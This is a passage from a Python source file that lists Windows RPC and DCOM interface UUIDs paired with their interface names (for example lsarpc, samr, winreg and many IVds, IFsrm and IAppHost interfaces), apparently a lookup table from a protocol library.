(uuid.UUID("00020404-0000-0000-c000-000000000046"), "IEnumVARIANT"), (uuid.UUID("00020411-0000-0000-c000-000000000046"), "ITypeLib2"), (uuid.UUID("00020412-0000-0000-c000-000000000046"), "ITypeInfo2"), (uuid.UUID("004c6a2b-0c19-4c69-9f5c-a269b2560db9"), "IWindowsDriverUpdate4"), (uuid.UUID("0191775e-bcff-445a-b4f4-3bdda54e2816"), "IAppHostPropertyCollection"), (uuid.UUID("01954e6b-9254-4e6e-808c-c9e05d007696"), "IVssEnumMgmtObject"), (uuid.UUID("027947e1-d731-11ce-a357-000000000001"), "IEnumWbemClassObject"), (uuid.UUID("0316560b-5db4-4ed9-bbb5-213436ddc0d9"), "IVdsRemovable"), ( uuid.UUID("0344cdda-151e-4cbf-82da-66ae61e97754"), "IAppHostElementSchemaCollection", ), (uuid.UUID("034634fd-ba3f-11d1-856a-00a0c944138c"), "IManageTelnetSessions"), (uuid.UUID("038374ff-098b-11d8-9414-505054503030"), "IDataCollector"), (uuid.UUID("03837502-098b-11d8-9414-505054503030"), "IDataCollectorCollection"), ( uuid.UUID("03837506-098b-11d8-9414-505054503030"), "IPerformanceCounterDataCollector", ), (uuid.UUID("0383750b-098b-11d8-9414-505054503030"), "ITraceDataCollector"), (uuid.UUID("03837510-098b-11d8-9414-505054503030"), "ITraceDataProviderCollection"), (uuid.UUID("03837512-098b-11d8-9414-505054503030"), "ITraceDataProvider"), (uuid.UUID("03837514-098b-11d8-9414-505054503030"), "IConfigurationDataCollector"), (uuid.UUID("03837516-098b-11d8-9414-505054503030"), "IAlertDataCollector"), (uuid.UUID("0383751a-098b-11d8-9414-505054503030"), "IApiTracingDataCollector"), (uuid.UUID("03837520-098b-11d8-9414-505054503030"), "IDataCollectorSet"), (uuid.UUID("03837524-098b-11d8-9414-505054503030"), "IDataCollectorSetCollection"), (uuid.UUID("03837533-098b-11d8-9414-505054503030"), "IValueMapItem"), (uuid.UUID("03837534-098b-11d8-9414-505054503030"), "IValueMap"), (uuid.UUID("0383753a-098b-11d8-9414-505054503030"), "ISchedule"), (uuid.UUID("0383753d-098b-11d8-9414-505054503030"), "IScheduleCollection"), (uuid.UUID("03837541-098b-11d8-9414-505054503030"), "IDataManager"), (uuid.UUID("03837543-098b-11d8-9414-505054503030"), "IFolderAction"), (uuid.UUID("03837544-098b-11d8-9414-505054503030"), "IFolderActionCollection"), (uuid.UUID("04c6895d-eaf2-4034-97f3-311de9be413a"), "IUpdateSearcher3"), (uuid.UUID("070669eb-b52f-11d1-9270-00c04fbbbfb3"), "IDataFactory2"), (uuid.UUID("0716caf8-7d05-4a46-8099-77594be91394"), "IAppHostConstantValue"), (uuid.UUID("0770687e-9f36-4d6f-8778-599d188461c9"), "IFsrmFileManagementJob"), (uuid.UUID("07e5c822-f00c-47a1-8fce-b244da56fd06"), "IVdsDisk"), (uuid.UUID("07f7438c-7709-4ca5-b518-91279288134e"), "IUpdateCollection"), (uuid.UUID("0818a8ef-9ba9-40d8-a6f9-e22833cc771e"), "IVdsService"), (uuid.UUID("081e7188-c080-4ff3-9238-29f66d6cabfd"), "IMessenger"), ( uuid.UUID("08a90f5f-0702-48d6-b45f-02a9885a9768"), "IAppHostChildElementCollection", ), (uuid.UUID("09829352-87c2-418d-8d79-4133969a489d"), "IAppHostChangeHandler"), (uuid.UUID("0ac13689-3134-47c6-a17c-4669216801be"), "IVdsServiceHba"), (uuid.UUID("0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7"), "authzr"), (uuid.UUID("0bb8531d-7e8d-424f-986c-a0b8f60a3e7b"), "IUpdateServiceManager2"), ( uuid.UUID("0d521700-a372-4bef-828b-3d00c10adebd"), "IWindowsDriverUpdateEntryCollection", ), (uuid.UUID("0dd8a158-ebe6-4008-a1d9-b7ecc8f1104b"), "IAppHostSectionGroup"), (uuid.UUID("0e3d6630-b46b-11d1-9d2d-006008b0e5ca"), "ICatalogTableRead"), (uuid.UUID("0e3d6631-b46b-11d1-9d2d-006008b0e5ca"), "ICatalogTableWrite"), (uuid.UUID("0eac4842-8763-11cf-a743-00aa00a3f00d"), "IDataFactory"), (uuid.UUID("0fb15084-af41-11ce-bd2b-204c4f4f5020"), "ITransaction"), (uuid.UUID("1088a980-eae5-11d0-8d9b-00a02453c337"), "qm2qm"), (uuid.UUID("10c5e575-7984-4e81-a56b-431f5f92ae42"), "IVdsProvider"), (uuid.UUID("112eda6b-95b3-476f-9d90-aee82c6b8181"), "IUpdate3"), (uuid.UUID("118610b7-8d94-4030-b5b8-500889788e4e"), "IEnumVdsObject"), (uuid.UUID("11899a43-2b68-4a76-92e3-a3d6ad8c26ce"), "TermSrvNotification"), (uuid.UUID("11942d87-a1de-4e7f-83fb-a840d9c5928d"), "IClusterStorage3"), (uuid.UUID("12345678-1234-abcd-ef00-0123456789ab"), "winspool"), (uuid.UUID("12345678-1234-abcd-ef00-01234567cffb"), "logon"), (uuid.UUID("12345778-1234-abcd-ef00-0123456789ab"), "lsarpc"), (uuid.UUID("12345778-1234-abcd-ef00-0123456789ac"), "samr"), (uuid.UUID("1257b580-ce2f-4109-82d6-a9459d0bf6bc"), "SessEnvPublicRpc"), (uuid.UUID("12937789-e247-4917-9c20-f3ee9c7ee783"), "IFsrmActionCommand"), (uuid.UUID("135698d2-3a37-4d26-99df-e2bb6ae3ac61"), "IVolumeClient3"), (uuid.UUID("13b50bff-290a-47dd-8558-b7c58db1a71a"), "IVdsPack2"), (uuid.UUID("144fe9b0-d23d-4a8b-8634-fb4457533b7a"), "IUpdate2"), (uuid.UUID("14a8831c-bc82-11d2-8a64-0008c7457e5d"), "ExtendedError"), (uuid.UUID("14fbe036-3ed7-4e10-90e9-a5ff991aff01"), "IVdsServiceIscsi"), (uuid.UUID("1518b460-6518-4172-940f-c75883b24ceb"), "IUpdateService2"), (uuid.UUID("1544f5e0-613c-11d1-93df-00c04fd7bd09"), "rfri"), (uuid.UUID("1568a795-3924-4118-b74b-68d8f0fa5daf"), "IFsrmQuotaBase"), (uuid.UUID("15a81350-497d-4aba-80e9-d4dbcc5521fe"), "IFsrmStorageModuleDefinition"), (uuid.UUID("15fc031c-0652-4306-b2c3-f558b8f837e2"), "IVdsServiceSw"), (uuid.UUID("17fdd703-1827-4e34-79d4-24a55c53bb37"), "msgsvc"), (uuid.UUID("182c40fa-32e4-11d0-818b-00a0c9231c29"), "ICatalogSession"), (uuid.UUID("1a9134dd-7b39-45ba-ad88-44d01ca47f28"), "RemoteRead"), (uuid.UUID("1a927394-352e-4553-ae3f-7cf4aafca620"), "WdsRpcInterface"), (uuid.UUID("1bb617b8-3886-49dc-af82-a6c90fa35dda"), "IFsrmMutableCollection"), (uuid.UUID("1be2275a-b315-4f70-9e44-879b3a2a53f2"), "IVdsVolumeOnline"), (uuid.UUID("1c1c45ee-4395-11d2-b60b-00104b703efd"), "IWbemFetchSmartEnum"), (uuid.UUID("1d118904-94b3-4a64-9fa6-ed432666a7b9"), "ICatalog64BitSupport"), (uuid.UUID("1e062b84-e5e6-4b4b-8a25-67b81e8f13e8"), "IVdsVDisk"), (uuid.UUID("1f7b1697-ecb2-4cbb-8a0e-75c427f4a6f0"), "IImport2"), (uuid.UUID("1ff70682-0a51-30e8-076d-740be8cee98b"), "atsvc"), (uuid.UUID("205bebf8-dd93-452a-95a6-32b566b35828"), "IFsrmFileScreenTemplate"), (uuid.UUID("20610036-fa22-11cf-9823-00a0c911e5df"), "rasrpc"), (uuid.UUID("20d15747-6c48-4254-a358-65039fd8c63c"), "IServerHealthReport2"), ( uuid.UUID("214a0f28-b737-4026-b847-4f9e37d79529"), "IVssDifferentialSoftwareSnapshotMgmt", ), (uuid.UUID("21546ae8-4da5-445e-987f-627fea39c5e8"), "IWRMConfig"), (uuid.UUID("22bcef93-4a3f-4183-89f9-2f8b8a628aee"), "IFsrmObject"), (uuid.UUID("22e5386d-8b12-4bf0-b0ec-6a1ea419e366"), "NetEventForwarder"), (uuid.UUID("23857e3c-02ba-44a3-9423-b1c900805f37"), "IUpdateServiceManager"), (uuid.UUID("23c9dd26-2355-4fe2-84de-f779a238adbd"), "IProcessDump"), (uuid.UUID("27b899fe-6ffa-4481-a184-d3daade8a02b"), "IFsrmReportManager"), (uuid.UUID("27e94b0d-5139-49a2-9a61-93522dc54652"), "IUpdate4"), (uuid.UUID("29822ab7-f302-11d0-9953-00c04fd919c1"), "IWamAdmin"), (uuid.UUID("29822ab8-f302-11d0-9953-00c04fd919c1"), "IWamAdmin2"), (uuid.UUID("2a3eb639-d134-422d-90d8-aaa1b5216202"), "IResourceManager2"), (uuid.UUID("2abd757f-2851-4997-9a13-47d2a885d6ca"), "IVdsHbaPort"), (uuid.UUID("2c9273e0-1dc3-11d3-b364-00105a1f8177"), "IWbemRefreshingServices"), (uuid.UUID("2d9915fb-9d42-4328-b782-1b46819fab9e"), "IAppHostMethodSchema"), (uuid.UUID("2dbe63c4-b340-48a0-a5b0-158e07fc567e"), "IFsrmActionReport"), (uuid.UUID("300f3532-38cc-11d0-a3f0-0020af6b0add"), "trkwks"), (uuid.UUID("31a83ea0-c0e4-4a2c-8a01-353cc2a4c60a"), "IAppHostMappingExtension"), (uuid.UUID("326af66f-2ac0-4f68-bf8c-4759f054fa29"), "IFsrmPropertyCondition"), (uuid.UUID("338cd001-2244-31f1-aaaa-900038001003"), "winreg"), (uuid.UUID("367abb81-9844-35f1-ad32-98f038001003"), "svcctl"), (uuid.UUID("370af178-7758-4dad-8146-7391f6e18585"), "IAppHostConfigLocation"), (uuid.UUID("377f739d-9647-4b8e-97d2-5ffce6d759cd"), "IFsrmQuota"), (uuid.UUID("378e52b0-c0a9-11cf-822d-00aa0051e40f"), "sasec"), (uuid.UUID("3858c0d5-0f35-4bf5-9714-69874963bc36"), "IVdsAdvancedDisk3"), (uuid.UUID("38a0a9ab-7cc8-4693-ac07-1f28bd03c3da"), "IVdsIscsiInitiatorPortal"), (uuid.UUID("38e87280-715c-4c7d-a280-ea1651a19fef"), "IFsrmReportJob"), (uuid.UUID("3919286a-b10c-11d0-9ba8-00c04fd92ef5"), "dssetup"), (uuid.UUID("39322a2d-38ee-4d0d-8095-421a80849a82"), "IFsrmDerivedObjectsResult"), (uuid.UUID("3a410f21-553f-11d1-8e5e-00a0c92c9d5d"), "IDMRemoteServer"), (uuid.UUID("3a56bfb8-576c-43f7-9335-fe4838fd7e37"), "ICategoryCollection"), (uuid.UUID("3b69d7f5-9d94-4648-91ca-79939ba263bf"), "IVdsPack"), (uuid.UUID("3bbed8d9-2c9a-4b21-8936-acb2f995be6c"), "INtmsObjectManagement3"), (uuid.UUID("3dde7c30-165d-11d1-ab8f-00805f14db40"), "BackupKey"), (uuid.UUID("3f3b1b86-dbbe-11d1-9da6-00805f85cfe3"), "IContainerControl"), (uuid.UUID("40f73c8b-687d-4a13-8d96-3d7f2e683936"), "IVdsDisk2"), (uuid.UUID("41208ee0-e970-11d1-9b9e-00e02c064c39"), "qmmgmt"), (uuid.UUID("4173ac41-172d-4d52-963c-fdc7e415f717"), "IFsrmQuotaTemplateManager"), (uuid.UUID("423ec01e-2e35-11d2-b604-00104b703efd"), "IWbemWCOSmartEnum"), (uuid.UUID("426677d5-018c-485c-8a51-20b86d00bdc4"), "IFsrmFileGroupManager"), (uuid.UUID("42dc3511-61d5-48ae-b6dc-59fc00c0a8d6"), "IFsrmQuotaObject"), (uuid.UUID("44aca674-e8fc-11d0-a07c-00c04fb68820"), "IWbemContext"), (uuid.UUID("44aca675-e8fc-11d0-a07c-00c04fb68820"), "IWbemCallResult"), (uuid.UUID("44e265dd-7daf-42cd-8560-3cdb6e7a2729"), "TsProxyRpcInterface"), (uuid.UUID("450386db-7409-4667-935e-384dbbee2a9e"), "IAppHostPropertySchema"), (uuid.UUID("456129e2-1078-11d2-b0f9-00805fc73204"), "ICatalogUtils"), (uuid.UUID("45f52c28-7f9f-101a-b52b-08002b2efabe"), "winsif"), (uuid.UUID("46297823-9940-4c09-aed9-cd3ea6d05968"), "IUpdateIdentity"), (uuid.UUID("4639db2a-bfc5-11d2-9318-00c04fbbbfb3"), "IDataFactory3"), (uuid.UUID("47782152-d16c-4229-b4e1-0ddfe308b9f6"), "IFsrmPropertyDefinition2"), (uuid.UUID("47cde9a1-0bf6-11d2-8016-00c04fb9988e"), "ICapabilitySupport"), (uuid.UUID("481e06cf-ab04-4498-8ffe-124a0a34296d"), "IWRMCalendar"), (uuid.UUID("4846cb01-d430-494f-abb4-b1054999fb09"), "IFsrmQuotaManagerEx"), (uuid.UUID("484809d6-4239-471b-b5bc-61df8c23ac48"), "TermSrvSession"), (uuid.UUID("497d95a6-2d27-4bf5-9bbd-a6046957133c"), "RCMListener"), (uuid.UUID("49ebd502-4a96-41bd-9e3e-4c5057f4250c"), "IWindowsDriverUpdate3"), (uuid.UUID("4a2f5c31-cfd9-410e-b7fb-29a653973a0f"), "IAutomaticUpdates2"), (uuid.UUID("4a6b0e15-2e38-11d1-9965-00c04fbbb345"), "IEventSubscription"), (uuid.UUID("4a6b0e16-2e38-11d1-9965-00c04fbbb345"), "IEventSubscription2"), (uuid.UUID("4a73fee4-4102-4fcc-9ffb-38614f9ee768"), "IFsrmProperty"), (uuid.UUID("4afc3636-db01-4052-80c3-03bbcb8d3c69"), "IVdsServiceInitialization"), (uuid.UUID("4b324fc8-1670-01d3-1278-5a47bf6ee188"), "srvsvc"), (uuid.UUID("4bb8ab1d-9ef9-4100-8eb6-dd4b4e418b72"), "IADProxy"), (uuid.UUID("4bdafc52-fe6a-11d2-93f8-00105a11164a"), "IVolumeClient2"), (uuid.UUID("4c8f96c3-5d94-4f37-a4f4-f56ab463546f"), "IFsrmActionEventLog"), (uuid.UUID("4cbdcb2d-1589-4beb-bd1c-3e582ff0add0"), "IUpdateSearcher2"), (uuid.UUID("4d9f4ab8-7d1c-11cf-861e-0020af6e7c57"), "IActivation"), (uuid.UUID("4da1c422-943d-11d1-acae-00c04fc2aa3f"), "trksvr"), (uuid.UUID("4daa0135-e1d1-40f1-aaa5-3cc1e53221c3"), "IVdsVolumePlex"), (uuid.UUID("4dbcee9a-6343-4651-b85f-5e75d74d983c"), "IVdsVolumeMF2"), (uuid.UUID("4dfa1df3-8900-4bc7-bbb5-d1a458c52410"), "IAppHostConfigException"), (uuid.UUID("4e14fb9f-2e22-11d1-9964-00c04fbbb345"), "IEventSystem"), (uuid.UUID("4e6cdcc9-fb25-4fd5-9cc5-c9f4b6559cec"), "IComTrackingInfoEvents"), (uuid.UUID("4e934f30-341a-11d1-8fb1-00a024cb6019"), "INtmsLibraryControl1"), (uuid.UUID("4f7ca01c-a9e5-45b6-b142-2332a1339c1d"), "IWRMAccounting"), (uuid.UUID("4fc742e0-4a10-11cf-8273-00aa004ae673"), "netdfs"), (uuid.UUID("503626a3-8e14-4729-9355-0fe664bd2321"), "IUpdateExceptionCollection"), (uuid.UUID("50abc2a4-574d-40b3-9d66-ee4fd5fba076"), "DnsServer"), ( uuid.UUID("515c1277-2c81-440e-8fcf-367921ed4f59"), "IFsrmPipelineModuleDefinition", ), (uuid.UUID("5261574a-4572-206e-b268-6b199213b4e4"), "asyncemsmdb"), (uuid.UUID("52c80b95-c1ad-4240-8d89-72e9fa84025e"), "IClusCfgAsyncEvictCleanup"), (uuid.UUID("538684e0-ba3d-4bc0-aca9-164aff85c2a9"), "IVdsDiskPartitionMF"), (uuid.UUID("53b46b02-c73b-4a3e-8dee-b16b80672fc0"), "TSVIPPublic"), (uuid.UUID("541679ab-2e5f-11d3-b34e-00104bcc4b4a"), "IWbemLoginHelper"), (uuid.UUID("5422fd3a-d4b8-4cef-a12e-e87d4ca22e90"), "ICertRequestD2"), (uuid.UUID("54a2cb2d-9a0c-48b6-8a50-9abb69ee2d02"), "IUpdateDownloadContent"), (uuid.UUID("59602eb6-57b0-4fd8-aa4b-ebf06971fe15"), "IWRMPolicy"), (uuid.UUID("5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc"), "msgsvcsend"), ( uuid.UUID("5b5a68e6-8b9f-45e1-8199-a95ffccdffff"), "IAppHostConstantValueCollection", ), (uuid.UUID("5b821720-f63b-11d0-aad2-00c04fc324db"), "dhcpsrv2"), (uuid.UUID("5ca4a760-ebb1-11cf-8611-00a0245420ed"), "IcaApi"), (uuid.UUID("5f6325d3-ce88-4733-84c1-2d6aefc5ea07"), "IFsrmFileScreen"), (uuid.UUID("5ff9bdf6-bd91-4d8b-a614-d6317acc8dd8"), "IRemoteSstpCertCheck"), (uuid.UUID("6099fc12-3eff-11d0-abd0-00c04fd91a4e"), "faxclient"), (uuid.UUID("6139d8a4-e508-4ebb-bac7-d7f275145897"), "IRemoteIPV6Config"), (uuid.UUID("615c4269-7a48-43bd-96b7-bf6ca27d6c3e"), "IWindowsDriverUpdate2"), (uuid.UUID("64ff8ccc-b287-4dae-b08a-a72cbf45f453"), "IAppHostElement"), (uuid.UUID("6619a740-8154-43be-a186-0319578e02db"), "IRemoteDispatch"), (uuid.UUID("66a2db1b-d706-11d0-a37b-00c04fc9da04"), "IRemoteNetworkConfig"), (uuid.UUID("66a2db20-d706-11d0-a37b-00c04fc9da04"), "IRemoteRouterRestart"), (uuid.UUID("66a2db21-d706-11d0-a37b-00c04fc9da04"), "IRemoteSetDnsConfig"), (uuid.UUID("66a2db22-d706-11d0-a37b-00c04fc9da04"), "IRemoteICFICSConfig"), (uuid.UUID("673425bf-c082-4c7c-bdfd-569464b8e0ce"), "IAutomaticUpdates"), (uuid.UUID("6788faf9-214e-4b85-ba59-266953616e09"), "IVdsVolumeMF3"), (uuid.UUID("67e08fc2-2984-4b62-b92e-fc1aae64bbbb"), "IRemoteStringIdConfig"), (uuid.UUID("6879caf9-6617-4484-8719-71c3d8645f94"), "IFsrmReportScheduler"), (uuid.UUID("69ab7050-3059-11d1-8faf-00a024cb6019"), "INtmsObjectInfo1"), (uuid.UUID("6a92b07a-d821-4682-b423-5c805022cc4d"), "IUpdate"), (uuid.UUID("6b5bdd1e-528c-422c-af8c-a4079be4fe48"), "RemoteFW"), (uuid.UUID("6bffd098-a112-3610-9833-012892020162"), "browser"), (uuid.UUID("6bffd098-a112-3610-9833-46c3f874532d"), "dhcpsrv"), (uuid.UUID("6bffd098-a112-3610-9833-46c3f87e345a"), "wkssvc"), (uuid.UUID("6c935649-30a6-4211-8687-c4c83e5fe1c7"), "IContainerControl2"), (uuid.UUID("6cd6408a-ae60-463b-9ef1-e117534d69dc"), "IFsrmAction"), (uuid.UUID("6e6f6b40-977c-4069-bddd-ac710059f8c0"), "IVdsAdvancedDisk"), (uuid.UUID("6f4dbfff-6920-4821-a6c3-b7e94c1fd60c"), "IFsrmPathMapper"), (uuid.UUID("708cca10-9569-11d1-b2a5-0060977d8118"), "dscomm2"), (uuid.UUID("70b51430-b6ca-11d0-b9b9-00a0c922e750"), "IMSAdminBaseW"), (uuid.UUID("70cf5c82-8642-42bb-9dbc-0cfd263c6c4f"), "IWindowsDriverUpdate5"), (uuid.UUID("72ae6713-dcbb-4a03-b36b-371f6ac6b53d"), "IVdsVolume2"), (uuid.UUID("75c8f324-f715-4fe3-a28e-f9011b61a4a1"), "IVdsOpenVDisk"), (uuid.UUID("76b3b17e-aed6-4da5-85f0-83587f81abe3"), "IUpdateService"), (uuid.UUID("76d12b80-3467-11d3-91ff-0090272f9ea3"), "qmcomm2"), (uuid.UUID("76f03f96-cdfd-44fc-a22c-64950a001209"), "IRemoteWinspool"), (uuid.UUID("77df7a80-f298-11d0-8358-00a024c480a8"), "dscomm"), (uuid.UUID("784b693d-95f3-420b-8126-365c098659f2"), "IOCSPAdminD"), (uuid.UUID("7883ca1c-1112-4447-84c3-52fbeb38069d"), "IAppHostMethod"), (uuid.UUID("7c44d7d4-31d5-424c-bd5e-2b3e1f323d22"), "dsaop"), (uuid.UUID("7c4e1804-e342-483d-a43e-a850cfcc8d18"), "IIISApplicationAdmin"), (uuid.UUID("7c857801-7381-11cf-884d-00aa004b2e24"), "IWbemObjectSink"), (uuid.UUID("7c907864-346c-4aeb-8f3f-57da289f969f"), "IImageInformation"), (uuid.UUID("7d07f313-a53f-459a-bb12-012c15b1846e"), "IRobustNtmsMediaServices1"), (uuid.UUID("7f43b400-1a0e-4d57-bbc9-6b0c65f7a889"), "IAlternateLaunch"), (uuid.UUID("7fb7ea43-2d76-4ea8-8cd9-3decc270295e"), "IEventClass3"), (uuid.UUID("7fe0d935-dda6-443f-85d0-1cfb58fe41dd"), "ICertAdminD2"), (uuid.UUID("811109bf-a4e1-11d1-ab54-00a0c91e9b45"), "winsi2"), (uuid.UUID("8165b19e-8d3a-4d0b-80c8-97de310db583"), "IServicedComponentInfo"), (uuid.UUID("816858a4-260d-4260-933a-2585f1abc76b"), "IUpdateSession"), (uuid.UUID("81ddc1b8-9d35-47a6-b471-5b80f519223b"), "ICategory"), (uuid.UUID("82273fdc-e32a-18c3-3f78-827929dc23ea"), "eventlog"), (uuid.UUID("8276702f-2532-4839-89bf-4872609a2ea4"), "IFsrmActionEmail2"), (uuid.UUID("8298d101-f992-43b7-8eca-5052d885b995"), "IMSAdminBase2W"), (uuid.UUID("82ad4280-036b-11cf-972c-00aa006887b0"), "inetinfo"), (uuid.UUID("8326cd1d-cf59-4936-b786-5efc08798e25"), "IVdsAdviseSink"), ( uuid.UUID("832a32f7-b3ea-4b8c-b260-9a2923001184"), "IAppHostConfigLocationCollection", ), (uuid.UUID("833e4100-aff7-4ac3-aac2-9f24c1457bce"), "IPCHCollection"), (uuid.UUID("833e41aa-aff7-4ac3-aac2-9f24c1457bce"), "ISAFSession"), (uuid.UUID("83bfb87f-43fb-4903-baa6-127f01029eec"), "IVdsSubSystemImportTarget"), (uuid.UUID("85713fa1-7796-4fa2-be3b-e2d6124dd373"), "IWindowsUpdateAgentInfo"), (uuid.UUID("86d35949-83c9-4044-b424-db363231fd0c"), "ITaskSchedulerService"), (uuid.UUID("879c8bbe-41b0-11d1-be11-00c04fb6bf70"), "IClientSink"), (uuid.UUID("88143fd0-c28d-4b2b-8fef-8d882f6a9390"), "TermSrvEnumeration"), (uuid.UUID("88306bb2-e71f-478c-86a2-79da200a0f11"), "IVdsVolume"), (uuid.UUID("894de0c0-0d55-11d3-a322-00c04fa321a1"), "InitShutdown"), (uuid.UUID("895a2c86-270d-489d-a6c0-dc2a9b35280e"), "INtmsObjectManagement2"), (uuid.UUID("897e2e5f-93f3-4376-9c9c-fd2277495c27"), "FrsTransport"), (uuid.UUID("8bb68c7d-19d8-4ffb-809e-be4fc1734014"), "IFsrmQuotaManager"), ( uuid.UUID("8bed2c68-a5fb-4b28-8581-a0dc5267419f"), "IAppHostPropertySchemaCollection", ), (uuid.UUID("8db2180e-bd29-11d1-8b7e-00c04fd7a924"), "IRegister"), (uuid.UUID("8dd04909-0e34-4d55-afaa-89e1f1a1bbb9"), "IFsrmFileGroup"), (uuid.UUID("8f09f000-b7ed-11ce-bbd2-00001a181cad"), "dimsvc"), (uuid.UUID("8f45abf1-f9ae-4b95-a933-f0f66e5056ea"), "IUpdateSearcher"), (uuid.UUID("8f4b2f5d-ec15-4357-992f-473ef10975b9"), "IVdsDisk3"), (uuid.UUID("8f6d760f-f0cb-4d69-b5f6-848b33e9bdc6"), "IAppHostConfigManager"), (uuid.UUID("8fb6d884-2388-11d0-8c35-00c04fda2795"), "W32Time"), (uuid.UUID("90681b1d-6a7f-48e8-9061-31b7aa125322"), "IVdsDiskOnline"), (uuid.UUID("906b0ce0-c70b-1067-b317-00dd010662da"), "IXnRemote"), (uuid.UUID("918efd1e-b5d8-4c90-8540-aeb9bdc56f9d"), "IUpdateSession3"), (uuid.UUID("91ae6020-9e3c-11cf-8d7c-00aa00c091be"), "ICertPassage"), (uuid.UUID("91caf7b0-eb23-49ed-9937-c52d817f46f7"), "IUpdateSession2"), (uuid.UUID("943991a5-b3fe-41fa-9696-7f7b656ee34b"), "IWRMMachineGroup"), (uuid.UUID("9556dc99-828c-11cf-a37e-00aa003240c7"), "IWbemServices"), (uuid.UUID("96deb3b5-8b91-4a2a-9d93-80a35d8aa847"), "IFsrmCommittableCollection"), (uuid.UUID("971668dc-c3fe-4ea1-9643-0c7230f494a1"), "IRegister2"), (uuid.UUID("97199110-db2e-11d1-a251-0000f805ca53"), "ITransactionStream"), (uuid.UUID("9723f420-9355-42de-ab66-e31bb15beeac"), "IVdsAdvancedDisk2"), (uuid.UUID("98315903-7be5-11d2-adc1-00a02463d6e7"), "IReplicationUtil"), (uuid.UUID("9882f547-cfc3-420b-9750-00dfbec50662"), "IVdsCreatePartitionEx"), (uuid.UUID("99cc098f-a48a-4e9c-8e58-965c0afc19d5"), "IEventSystem2"), (uuid.UUID("99fcfec4-5260-101b-bbcb-00aa0021347a"), "IObjectExporter"), (uuid.UUID("9a2bf113-a329-44cc-809a-5c00fce8da40"), "IFsrmQuotaTemplateImported"), (uuid.UUID("9aa58360-ce33-4f92-b658-ed24b14425b8"), "IVdsSwProvider"), (uuid.UUID("9b0353aa-0e52-44ff-b8b0-1f7fa0437f88"), "IUpdateServiceCollection"), (uuid.UUID("9be77978-73ed-4a9a-87fd-13f09fec1b13"), "IAppHostAdminManager"), (uuid.UUID("9cbe50ca-f2d2-4bf4-ace1-96896b729625"), "IVdsDiskPartitionMF2"), ( uuid.UUID("9d07ca0d-8f02-4ed5-b727-acf37fea5bbc"), "ISingleSignonRemoteMasterSecret", ), (uuid.UUID("a0e8f27a-888c-11d1-b763-00c04fb926af"), "IEventSystemInitialize"), (uuid.UUID("a2efab31-295e-46bb-b976-e86d58b52e8b"), "IFsrmQuotaTemplate"), (uuid.UUID("a359dec5-e813-4834-8a2a-ba7f1d777d76"), "IWbemBackupRestoreEx"), (uuid.UUID("a35af600-9cf4-11cd-a076-08002b2bd711"), "type_scard_pack"), (uuid.UUID("a376dd5e-09d4-427f-af7c-fed5b6e1c1d6"), "IUpdateException"), (uuid.UUID("a4f1db00-ca47-1067-b31f-00dd010662da"), "emsmdb"), ( uuid.UUID("a7f04f3c-a290-435b-aadf-a116c3357a5c"), "IUpdateHistoryEntryCollection", ), (uuid.UUID("a8927a41-d3ce-11d1-8472-006008b0e5ca"), "ICatalogTableInfo"), (uuid.UUID("a8e0653c-2744-4389-a61d-7373df8b2292"), "FileServerVssAgent"), (uuid.UUID("ad55f10b-5f11-4be7-94ef-d9ee2e470ded"), "IFsrmFileGroupImported"), (uuid.UUID("ada4e6fb-e025-401e-a5d0-c3134a281f07"), "IAppHostConfigFile"), (uuid.UUID("ae1c7110-2f60-11d3-8a39-00c04f72d8e3"), "IVssEnumObject"), (uuid.UUID("afa8bd80-7d8a-11c9-bef4-08002b102989"), "mgmt"), (uuid.UUID("afc052c2-5315-45ab-841b-c6db0e120148"), "IFsrmClassificationRule"), (uuid.UUID("afc07e2e-311c-4435-808c-c483ffeec7c9"), "lsacap"), (uuid.UUID("b057dc50-3059-11d1-8faf-00a024cb6019"), "INtmsObjectManagement1"), (uuid.UUID("b07fedd4-1682-4440-9189-a39b55194dc5"), "IVdsIscsiInitiatorAdapter"), (uuid.UUID("b196b284-bab4-101a-b69c-00aa00341d07"), "IConnectionPointContainer"), (uuid.UUID("b196b285-bab4-101a-b69c-00aa00341d07"), "IEnumConnectionPoints"), (uuid.UUID("b196b286-bab4-101a-b69c-00aa00341d07"), "IConnectionPoint"), (uuid.UUID("b196b287-bab4-101a-b69c-00aa00341d07"), "IEnumConnections"), (uuid.UUID("b383cd1a-5ce9-4504-9f63-764b1236f191"), "IWindowsDriverUpdate"), (uuid.UUID("b481498c-8354-45f9-84a0-0bdd2832a91f"), "IVdsVdProvider"), (uuid.UUID("b60040e0-bcf3-11d1-861d-0080c729264d"), "IGetTrackingData"), (uuid.UUID("b6b22da8-f903-4be7-b492-c09d875ac9da"), "IVdsServiceUninstallDisk"), ( uuid.UUID("b7d381ee-8860-47a1-8af4-1f33b2b1f325"), "IAppHostSectionDefinitionCollection", ), (uuid.UUID("b80f3c42-60e0-4ae0-9007-f52852d3dbed"), "IAppHostMethodInstance"), (uuid.UUID("b9785960-524f-11df-8b6d-83dcded72085"), "ISDKey"), (uuid.UUID("b97db8b2-4c63-11cf-bff6-08002be23f2f"), "clusapi"), (uuid.UUID("b97db8b2-4c63-11cf-bff6-08002be23f2f"), "clusapi"), ( uuid.UUID("bb36ea26-6318-4b8c-8592-f72dd602e7a5"), "IFsrmClassifierModuleDefinition", ), (uuid.UUID("bb39332c-bfee-4380-ad8a-badc8aff5bb6"), "INtmsNotifySink"), (uuid.UUID("bba9cb76-eb0c-462c-aa1b-5d8c34415701"), "Claims"), ( uuid.UUID("bc5513c8-b3b8-4bf7-a4d4-361c0d8c88ba"), "IUpdateDownloadContentCollection", ), (uuid.UUID("bc681469-9dd9-4bf4-9b3d-709f69efe431"), "IWRMResourceGroup"), (uuid.UUID("bd0c73bc-805b-4043-9c30-9a28d64dd7d2"), "IIISCertObj"), (uuid.UUID("bd7c23c2-c805-457c-8f86-d17fe6b9d19f"), "IClusterLogEx"), (uuid.UUID("bde95fdf-eee0-45de-9e12-e5a61cd0d4fe"), "RCMPublic"), (uuid.UUID("be56a644-af0e-4e0e-a311-c1d8e695cbff"), "IUpdateHistoryEntry"), (uuid.UUID("bee7ce02-df77-4515-9389-78f01c5afc1a"), "IFsrmFileScreenException"), (uuid.UUID("c1c2f21a-d2f4-4902-b5c6-8a081c19a890"), "IUpdate5"), (uuid.UUID("c2be6970-df9e-11d1-8b87-00c04fd7a924"), "IImport"), (uuid.UUID("c2bfb780-4539-4132-ab8c-0a8772013ab6"), "IUpdateHistoryEntry2"), (uuid.UUID("c3fcc19e-a970-11d2-8b5a-00a0c9b7c9c4"), "IManagedObject"), 